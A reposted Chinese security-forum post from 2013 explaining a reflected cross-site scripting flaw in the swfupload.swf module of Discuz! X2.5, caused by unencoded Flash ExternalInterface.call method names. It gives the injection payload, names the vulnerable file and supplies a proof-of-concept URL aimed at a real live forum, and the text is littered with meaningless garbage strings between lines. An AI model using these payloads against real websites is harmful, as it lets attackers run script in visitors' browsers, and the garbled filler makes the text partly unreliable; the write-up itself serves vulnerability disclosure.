中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
0 l0 k' g9 c3 M* ?, C# ]0 p$ f3 P
$ W0 Q+ F, t n3 o y
flash.external.ExternalInterface.call($methodName, $parameter)
3 i6 @% i: U3 E+ N, T" S: n2 ^
在浏览器中执行的是
1 ?+ S! v& H2 G$ S5 X c0 K9 J
9 k' u7 U( V5 E2 P1 S
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
? G% K2 i/ O+ n, M
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
' m2 u8 F, `! {. o2 H' ?. B
- i9 Z) R% |. ?+ a: b* P" b8 o
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 \+ f& O# M. N7 W1 ~! Q
$methodName = a())}catch(e){alert(/xss/)}//
- y2 K" ?+ I u* ^- Y. K
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
' C+ K5 D* n# g$ ^2 J
1 Q1 k! s0 O% y! }
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
7 W2 T$ Z" ^' O! n) e" J
, D6 h; {7 U9 v" A9 t7 V
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 Z X9 Z5 n3 g- \: D
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: S9 g; T" t6 |6 \' e* a
3 i0 [8 q6 T" X" u. l/ P, g
1 W% R& M9 _( B# F, {
! j- e. \9 g' ?: x$ v
漏洞文件:upload\static\image\common\swfupload.swf
3 Q8 U2 Z4 }4 q. N. G3 x n& O
% G7 C6 p+ ~! T1 Z. A
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
$ o) ?$ F* o( l% ?3 v( E- o* j0 T' P
2 j+ u% ~" g% R8 Z& F* |. ~7 X
8 k% d' B! M* i+ z" L# Z' w
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) V$ g0 Y* r4 U5 |, g
) H& z# @2 j& P0 m. H6 Z
; [2 ^2 z8 f0 C/ ^- i! D7 {$ i
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2